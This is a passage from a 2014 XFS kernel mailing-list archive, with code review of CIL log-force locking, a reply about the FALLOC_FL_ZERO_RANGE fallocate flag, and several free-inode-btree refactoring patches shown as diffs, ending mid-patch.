seqres=$RESULT_DIR/$seq >> echo "QA output created by $seq" >> >> -here=`pwd` >> tmp=`mktemp -d` >> status=1 > > Yeah, redefining $here is a bad thing to do :/ See above :) > > And I'd missed that this was being done in all the new btrfs tests, > otherwise I would have pulled it up earlier. > > It also points out that the btrfs tests are using a non-standard > $tmp directory - one that is in the xfstests source directory. > That's a bad thing, too - tests should be using: > > tmp=/tmp/$$ > > to store small temporary files. > > If /tmp is too small for what a test needs, then the test should be > using $TEST_DIR as the store for the temporary files to exercise > the filesystem under test as much as possible. e.g. send image > files build form snapshots of SCRATCH_DEV should be stored on TEST_DIR, > not in $tmp; filesystem image files that are mounted by loopback > should be stored on TEST_DIR or SCRATCH_MNT, not $tmp. And so on. > > i.e. the idea is that you direct as much of the IO to the test_DIR > and SCRATCH_MNT as possible, not to the filesystem that is hosting > $tmp or the xfstests source directory.... Right. Sounds like a separate patch (to use TEST_DIR/$$ for e.g. as a place to store temporary test data). Thanks Dave > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Filipe David Manana, "Reasonable men adapt themselves to the world. Unreasonable men adapt the world to themselves. That's why all progress depends on unreasonable men." From bfoster@redhat.com Mon Feb 24 07:35:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 139DB7F55 for ; Mon, 24 Feb 2014 07:35:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id F1D63304048 for ; Mon, 24 Feb 2014 05:35:34 -0800 (PST) X-ASG-Debug-ID: 1393248934-04cbb00c29752e90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id HuUAAKVANcG5ZSEN for ; Mon, 24 Feb 2014 05:35:34 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1ODZ106032444 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 24 Feb 2014 08:35:01 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1ODZ1lX003119; Mon, 24 Feb 2014 08:35:01 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 2D0CA124484; Mon, 24 Feb 2014 08:35:00 -0500 (EST) Date: Mon, 24 Feb 2014 08:35:00 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: always do log forces via the workqueue Message-ID: <20140224133459.GA54199@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: always do log forces via the workqueue References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-2-git-send-email-david@fromorbit.com> <5304F6F6.3070007@redhat.com> <20140220002358.GH4916@dastard> <53076B05.8010806@redhat.com> <20140221222106.GQ13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140221222106.GQ13647@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393248934 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Sat, Feb 22, 2014 at 09:21:06AM +1100, Dave Chinner wrote: > On Fri, Feb 21, 2014 at 10:04:37AM -0500, Brian Foster wrote: > > On 02/19/2014 07:23 PM, Dave Chinner wrote: > > > On Wed, Feb 19, 2014 at 01:24:54PM -0500, Brian Foster wrote: > > >> On 02/18/2014 11:16 PM, Dave Chinner wrote: > > >>> From: Dave Chinner > > >>> > > ... ... > > > > General follow up question - what makes not taking xc_ctx_lock anywhere > > in here safe in the first place? In the current implementation, if the > > push has already been queued (note that we flush before we take the > > spinlock and check the push sequence) and we get into the ctx wait > > sequence, isn't it possible to see xc_committing before the ctx we're > > pushing is even added? > > The waiting is serialised on the push lock, not the context lock. > > The context lock is used to serialise addition to a CIL context with > the against the pushing of that sequence. Triggering a push of a CIL > context does not need to be serialised addition to the CIL, nor > directly against the push of the CIL. A blocking push needs to be > serialised against the checkpoint of a CIL context to the iclog, > which is a different thing altogether. > > Hence we don't want to use the xc_ctx_lock for this - it is already > a contended lock and we don't want to hold off commits into a new > sequence while we wait for a previous sequence to finish pushing. > > Yes, there are potential races in the exist code. They are fixed by > this patch. > Ok, thanks. > > With this patch, what prevents us from seeing the updated > > xc_current_sequence and thus skipping the restart (xc_current_sequence > > isn't updated under the spinlock) before the pushed ctx has been added > > to xc_committing? > > The fact that the patch moves the xc_current_sequence update under > the the push_lock avoids this. i.e. it is now only updated atomically > with adding the context to the committing list. Both are now > explicitly updated at the same time, so you can't see a sequence > number greater than what you might find on the list... > Ah, right. I was reading through your patch and the original code to understand it better and lost the fact that you moved xc_current_sequence under spinlock (e.g., my assumption above about it not updated under lock is incorrect). That clears that up. Thanks for the explanations. Reviewed-by: Brian Foster Brian > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com From lczerner@redhat.com Mon Feb 24 07:47:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 821977F52 for ; Mon, 24 Feb 2014 07:47:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6C8D38F8064 for ; Mon, 24 Feb 2014 05:47:18 -0800 (PST) X-ASG-Debug-ID: 1393249637-04cbb00c2b753d90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id qkLnQvlALigGQtav for ; Mon, 24 Feb 2014 05:47:17 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1ODlDC6006125 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 24 Feb 2014 08:47:13 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1ODlAW9013146 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 24 Feb 2014 08:47:12 -0500 Date: Mon, 24 Feb 2014 14:47:10 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate In-Reply-To: <20140224010714.GI4317@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <20140224010714.GI4317@dastard> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393249637 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, 24 Feb 2014, Dave Chinner wrote: > Date: Mon, 24 Feb 2014 12:07:14 +1100 > From: Dave Chinner > To: Lukas Czerner > Cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, > xfs@oss.sgi.com > Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for > fallocate > > On Mon, Feb 17, 2014 at 04:08:17PM +0100, Lukas Czerner wrote: > > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > > > It can be used to convert a range of file to zeros preferably without > > issuing data IO. Blocks should be preallocated for the regions that span > > holes in the file, and the entire range is preferable converted to > > unwritten extents - even though file system may choose to zero out the > > extent or do whatever which will result in reading zeros from the range > > while the range remains allocated for the file. > > > > This can be also used to preallocate blocks past EOF in the same way as > > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > > size to remain the same. > > > > You can test this feature yourself using xfstests, of fallocate(1) however > > you'll need patches for util_linux, xfsprogs and xfstests which you > > can find here: > > > > http://people.redhat.com/lczerner/zero_range/ > > > > I'll post the patches after we agree and merge the kernel functionality. > > Lukas, can you post the xfstests and xfs_io changes so that they can > be reviewed? Once I can verify the behaviour is the same as > XFS_IOC_ZERO_RANGE, I'm ahppy to commit the VFS and XFS kernel > changes along with the xfsprogs and xfstests changes like I've just > done for the FALLOC_FL_COLLAPSE_RANGE changes. > > I'd like to get all the changes to the VFS into the XFS tree so that > you can handle the ext4 integration of the two pieces of > functionilty as you and Ted see fit.... > > Cheers, > > Dave. Hi Dave, ok, I'll rebase and resend the whole series with the xfstests and xfsprogs patches as well. Thanks! -Lukas From bfoster@redhat.com Mon Feb 24 08:30:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7DDF77F52 for ; Mon, 24 Feb 2014 08:30:36 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6865A8F8033 for ; Mon, 24 Feb 2014 06:30:33 -0800 (PST) X-ASG-Debug-ID: 1393252226-04cb6c6de075cb20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id VtYf7a4Am7JmIlET for ; Mon, 24 Feb 2014 06:30:29 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OEUIrL027111 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Feb 2014 09:30:26 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1OEU4Gm011433 for ; Mon, 24 Feb 2014 09:30:11 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 2D6D4123109; Mon, 24 Feb 2014 09:30:03 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v4 01/11] xfs: refactor xfs_ialloc_btree.c to support multiple inobt numbers Date: Mon, 24 Feb 2014 09:29:53 -0500 X-ASG-Orig-Subj: [PATCH v4 01/11] xfs: refactor xfs_ialloc_btree.c to support multiple inobt numbers Message-Id: <1393252203-7423-2-git-send-email-bfoster@redhat.com> In-Reply-To: <1393252203-7423-1-git-send-email-bfoster@redhat.com> References: <1393252203-7423-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393252226 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The introduction of the free inode btree (finobt) requires that xfs_ialloc_btree.c handle multiple trees. Refactor xfs_ialloc_btree.c so the caller specifies the btree type on cursor initialization to prepare for addition of the finobt. Signed-off-by: Brian Foster Reviewed-by: Dave Chinner Reviewed-by: Christoph Hellwig --- fs/xfs/xfs_ialloc.c | 8 ++++---- fs/xfs/xfs_ialloc_btree.c | 8 +++++--- fs/xfs/xfs_ialloc_btree.h | 3 ++- fs/xfs/xfs_itable.c | 6 ++++-- 4 files changed, 15 insertions(+), 10 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 5d7f105..ed303fc 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -449,7 +449,7 @@ xfs_ialloc_ag_alloc( /* * Insert records describing the new inode chunk into the btree. */ - cur = xfs_inobt_init_cursor(args.mp, tp, agbp, agno); + cur = xfs_inobt_init_cursor(args.mp, tp, agbp, agno, XFS_BTNUM_INO); for (thisino = newino; thisino < newino + newlen; thisino += XFS_INODES_PER_CHUNK) { @@ -695,7 +695,7 @@ xfs_dialloc_ag( ASSERT(pag->pagi_freecount > 0); restart_pagno: - cur = xfs_inobt_init_cursor(mp, tp, agbp, agno); + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); /* * If pagino is 0 (this is the root inode allocation) use newino. * This must work because we've just allocated some. @@ -1157,7 +1157,7 @@ xfs_difree( /* * Initialize the cursor. */ - cur = xfs_inobt_init_cursor(mp, tp, agbp, agno); + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); error = xfs_check_agi_freecount(cur, agi); if (error) @@ -1288,7 +1288,7 @@ xfs_imap_lookup( * we have a record, we need to ensure it contains the inode number * we are looking up. */ - cur = xfs_inobt_init_cursor(mp, tp, agbp, agno); + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_LE, &i); if (!error) { if (i) diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index c8fa5bb..2d1a398 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -49,7 +49,8 @@ xfs_inobt_dup_cursor( struct xfs_btree_cur *cur) { return xfs_inobt_init_cursor(cur->bc_mp, cur->bc_tp, - cur->bc_private.a.agbp, cur->bc_private.a.agno); + cur->bc_private.a.agbp, cur->bc_private.a.agno, + cur->bc_btnum); } STATIC void @@ -323,7 +324,8 @@ xfs_inobt_init_cursor( struct xfs_mount *mp, /* file system mount point */ struct xfs_trans *tp, /* transaction pointer */ struct xfs_buf *agbp, /* buffer for agi structure */ - xfs_agnumber_t agno) /* allocation group number */ + xfs_agnumber_t agno, /* allocation group number */ + xfs_btnum_t btnum) /* ialloc or free ino btree */ { struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); struct xfs_btree_cur *cur; @@ -333,7 +335,7 @@ xfs_inobt_init_cursor( cur->bc_tp = tp; cur->bc_mp = mp; cur->bc_nlevels = be32_to_cpu(agi->agi_level); - cur->bc_btnum = XFS_BTNUM_INO; + cur->bc_btnum = btnum; cur->bc_blocklog = mp->m_sb.sb_blocklog; cur->bc_ops = &xfs_inobt_ops; diff --git a/fs/xfs/xfs_ialloc_btree.h b/fs/xfs/xfs_ialloc_btree.h index f38b220..d7ebea72 100644 --- a/fs/xfs/xfs_ialloc_btree.h +++ b/fs/xfs/xfs_ialloc_btree.h @@ -58,7 +58,8 @@ struct xfs_mount; ((index) - 1) * sizeof(xfs_inobt_ptr_t))) extern struct xfs_btree_cur *xfs_inobt_init_cursor(struct xfs_mount *, - struct xfs_trans *, struct xfs_buf *, xfs_agnumber_t); + struct xfs_trans *, struct xfs_buf *, xfs_agnumber_t, + xfs_btnum_t); extern int xfs_inobt_maxrecs(struct xfs_mount *, int, int); #endif /* __XFS_IALLOC_BTREE_H__ */ diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index f463382..cb64f22 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -270,7 +270,8 @@ xfs_bulkstat( /* * Allocate and initialize a btree cursor for ialloc btree. */ - cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); + cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno, + XFS_BTNUM_INO); irbp = irbuf; irbufend = irbuf + nirbuf; end_of_ag = 0; @@ -621,7 +622,8 @@ xfs_inumbers( agino = 0; continue; } - cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); + cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno, + XFS_BTNUM_INO); error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, &tmp); if (error) { -- 1.8.3.1 From bfoster@redhat.com Mon Feb 24 08:46:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8E0A57F52 for ; Mon, 24 Feb 2014 08:46:16 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 82582304043 for ; Mon, 24 Feb 2014 06:46:16 -0800 (PST) X-ASG-Debug-ID: 1393253174-04cb6c06cf4489f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id VEL25y9iZGHYbIGq for ; Mon, 24 Feb 2014 06:46:15 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OEkD8P031736 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Feb 2014 09:46:14 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1OEU4wb001277 for ; Mon, 24 Feb 2014 09:30:05 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id A24F112455B; Mon, 24 Feb 2014 09:30:03 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v4 10/11] xfs: report finobt status in fs geometry Date: Mon, 24 Feb 2014 09:30:02 -0500 X-ASG-Orig-Subj: [PATCH v4 10/11] xfs: report finobt status in fs geometry Message-Id: <1393252203-7423-11-git-send-email-bfoster@redhat.com> In-Reply-To: <1393252203-7423-1-git-send-email-bfoster@redhat.com> References: <1393252203-7423-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393253175 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Define the XFS_FSOP_GEOM_FLAGS_FINOBT fs geometry flag and set the associated bit if the filesystem supports the free inode btree. Reviewed-by: Dave Chinner Signed-off-by: Brian Foster --- fs/xfs/xfs_fs.h | 1 + fs/xfs/xfs_fsops.c | 4 +++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h index c5fc116..d34703d 100644 --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -238,6 +238,7 @@ typedef struct xfs_fsop_resblks { #define XFS_FSOP_GEOM_FLAGS_LAZYSB 0x4000 /* lazy superblock counters */ #define XFS_FSOP_GEOM_FLAGS_V5SB 0x8000 /* version 5 superblock */ #define XFS_FSOP_GEOM_FLAGS_FTYPE 0x10000 /* inode directory types */ +#define XFS_FSOP_GEOM_FLAGS_FINOBT 0x20000 /* free inode btree */ /* * Minimum and maximum sizes need for growth checks. diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index 96e4eb0..3445ead 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -104,7 +104,9 @@ xfs_fs_geometry( (xfs_sb_version_hascrc(&mp->m_sb) ? XFS_FSOP_GEOM_FLAGS_V5SB : 0) | (xfs_sb_version_hasftype(&mp->m_sb) ? - XFS_FSOP_GEOM_FLAGS_FTYPE : 0); + XFS_FSOP_GEOM_FLAGS_FTYPE : 0) | + (xfs_sb_version_hasfinobt(&mp->m_sb) ? + XFS_FSOP_GEOM_FLAGS_FINOBT : 0); geo->logsectsize = xfs_sb_version_hassector(&mp->m_sb) ? mp->m_sb.sb_logsectsize : BBSIZE; geo->rtsectsize = mp->m_sb.sb_blocksize; -- 1.8.3.1 From bfoster@redhat.com Mon Feb 24 08:46:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1E6F67F52 for ; Mon, 24 Feb 2014 08:46:18 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 17692304043 for ; Mon, 24 Feb 2014 06:46:18 -0800 (PST) X-ASG-Debug-ID: 1393253176-04cbb00c28757620001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id tiO0JyJjE3BquMGK for ; Mon, 24 Feb 2014 06:46:17 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OEkFDB017263 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Feb 2014 09:46:16 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1OEU4OQ001270 for ; Mon, 24 Feb 2014 09:30:04 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 7AC3D12453A; Mon, 24 Feb 2014 09:30:03 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v4 07/11] xfs: refactor xfs_difree() inobt bits into xfs_difree_inobt() helper Date: Mon, 24 Feb 2014 09:29:59 -0500 X-ASG-Orig-Subj: [PATCH v4 07/11] xfs: refactor xfs_difree() inobt bits into xfs_difree_inobt() helper Message-Id: <1393252203-7423-8-git-send-email-bfoster@redhat.com> In-Reply-To: <1393252203-7423-1-git-send-email-bfoster@redhat.com> References: <1393252203-7423-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393253176 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Refactor xfs_difree() in preparation for the finobt. xfs_difree() performs the validity checks against the ag and reads the agi header. The work of physically updating the inode allocation btree is pushed down into the new xfs_difree_inobt() helper. Reviewed-by: Dave Chinner Signed-off-by: Brian Foster --- fs/xfs/xfs_ialloc.c | 161 +++++++++++++++++++++++++++++++--------------------- 1 file changed, 96 insertions(+), 65 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 74131ab..85a8db5 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1418,74 +1418,30 @@ out_error: return XFS_ERROR(error); } -/* - * Free disk inode. Carefully avoids touching the incore inode, all - * manipulations incore are the caller's responsibility. - * The on-disk inode is not changed by this operation, only the - * btree (free inode mask) is changed. - */ -int -xfs_difree( - xfs_trans_t *tp, /* transaction pointer */ - xfs_ino_t inode, /* inode to be freed */ - xfs_bmap_free_t *flist, /* extents to free */ - int *delete, /* set if inode cluster was deleted */ - xfs_ino_t *first_ino) /* first inode in deleted cluster */ +STATIC int +xfs_difree_inobt( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agino_t agino, + struct xfs_bmap_free *flist, + int *delete, + xfs_ino_t *first_ino, + struct xfs_inobt_rec_incore *orec) { - /* REFERENCED */ - xfs_agblock_t agbno; /* block number containing inode */ - xfs_buf_t *agbp; /* buffer containing allocation group header */ - xfs_agino_t agino; /* inode number relative to allocation group */ - xfs_agnumber_t agno; /* allocation group number */ - xfs_agi_t *agi; /* allocation group header */ - xfs_btree_cur_t *cur; /* inode btree cursor */ - int error; /* error return value */ - int i; /* result code */ - int ilen; /* inodes in an inode cluster */ - xfs_mount_t *mp; /* mount structure for filesystem */ - int off; /* offset of inode in inode chunk */ - xfs_inobt_rec_incore_t rec; /* btree record */ - struct xfs_perag *pag; - - mp = tp->t_mountp; + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); + struct xfs_perag *pag; + struct xfs_btree_cur *cur; + struct xfs_inobt_rec_incore rec; + int ilen; + int error; + int i; + int off; - /* - * Break up inode number into its components. - */ - agno = XFS_INO_TO_AGNO(mp, inode); - if (agno >= mp->m_sb.sb_agcount) { - xfs_warn(mp, "%s: agno >= mp->m_sb.sb_agcount (%d >= %d).", - __func__, agno, mp->m_sb.sb_agcount); - ASSERT(0); - return XFS_ERROR(EINVAL); - } - agino = XFS_INO_TO_AGINO(mp, inode); - if (inode != XFS_AGINO_TO_INO(mp, agno, agino)) { - xfs_warn(mp, "%s: inode != XFS_AGINO_TO_INO() (%llu != %llu).", - __func__, (unsigned long long)inode, - (unsigned long long)XFS_AGINO_TO_INO(mp, agno, agino)); - ASSERT(0); - return XFS_ERROR(EINVAL); - } - agbno = XFS_AGINO_TO_AGBNO(mp, agino); - if (agbno >= mp->m_sb.sb_agblocks) { - xfs_warn(mp, "%s: agbno >= mp->m_sb.sb_agblocks (%d >= %d).", - __func__, agbno, mp->m_sb.sb_agblocks); - ASSERT(0); - return XFS_ERROR(EINVAL); - } - /* - * Get the allocation group header. - */ - error = xfs_ialloc_read_agi(mp, tp, agno, &agbp); - if (error) { - xfs_warn(mp, "%s: xfs_ialloc_read_agi() returned error %d.", - __func__, error); - return error; - } - agi = XFS_BUF_TO_AGI(agbp); ASSERT(agi->agi_magicnum == cpu_to_be32(XFS_AGI_MAGIC)); - ASSERT(agbno < be32_to_cpu(agi->agi_length)); + ASSERT(XFS_AGINO_TO_AGBNO(mp, agino) < be32_to_cpu(agi->agi_length)); + /* * Initialize the cursor. */ @@ -1581,6 +1537,7 @@ xfs_difree( if (error) goto error0; + *orec = rec; xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); return 0; @@ -1589,6 +1546,80 @@ error0: return error; } +/* + * Free disk inode. Carefully avoids touching the incore inode, all + * manipulations incore are the caller's responsibility. + * The on-disk inode is not changed by this operation, only the + * btree (free inode mask) is changed. + */ +int +xfs_difree( + struct xfs_trans *tp, /* transaction pointer */ + xfs_ino_t inode, /* inode to be freed */ + struct xfs_bmap_free *flist, /* extents to free */ + int *delete,/* set if inode cluster was deleted */ + xfs_ino_t *first_ino)/* first inode in deleted cluster */ +{ + /* REFERENCED */ + xfs_agblock_t agbno; /* block number containing inode */ + struct xfs_buf *agbp; /* buffer for allocation group header */ + xfs_agino_t agino; /* allocation group inode number */ + xfs_agnumber_t agno; /* allocation group number */ + int error; /* error return value */ + struct xfs_mount *mp; /* mount structure for filesystem */ + struct xfs_inobt_rec_incore rec;/* btree record */ + + mp = tp->t_mountp; + + /* + * Break up inode number into its components. + */ + agno = XFS_INO_TO_AGNO(mp, inode); + if (agno >= mp->m_sb.sb_agcount) { + xfs_warn(mp, "%s: agno >= mp->m_sb.sb_agcount (%d >= 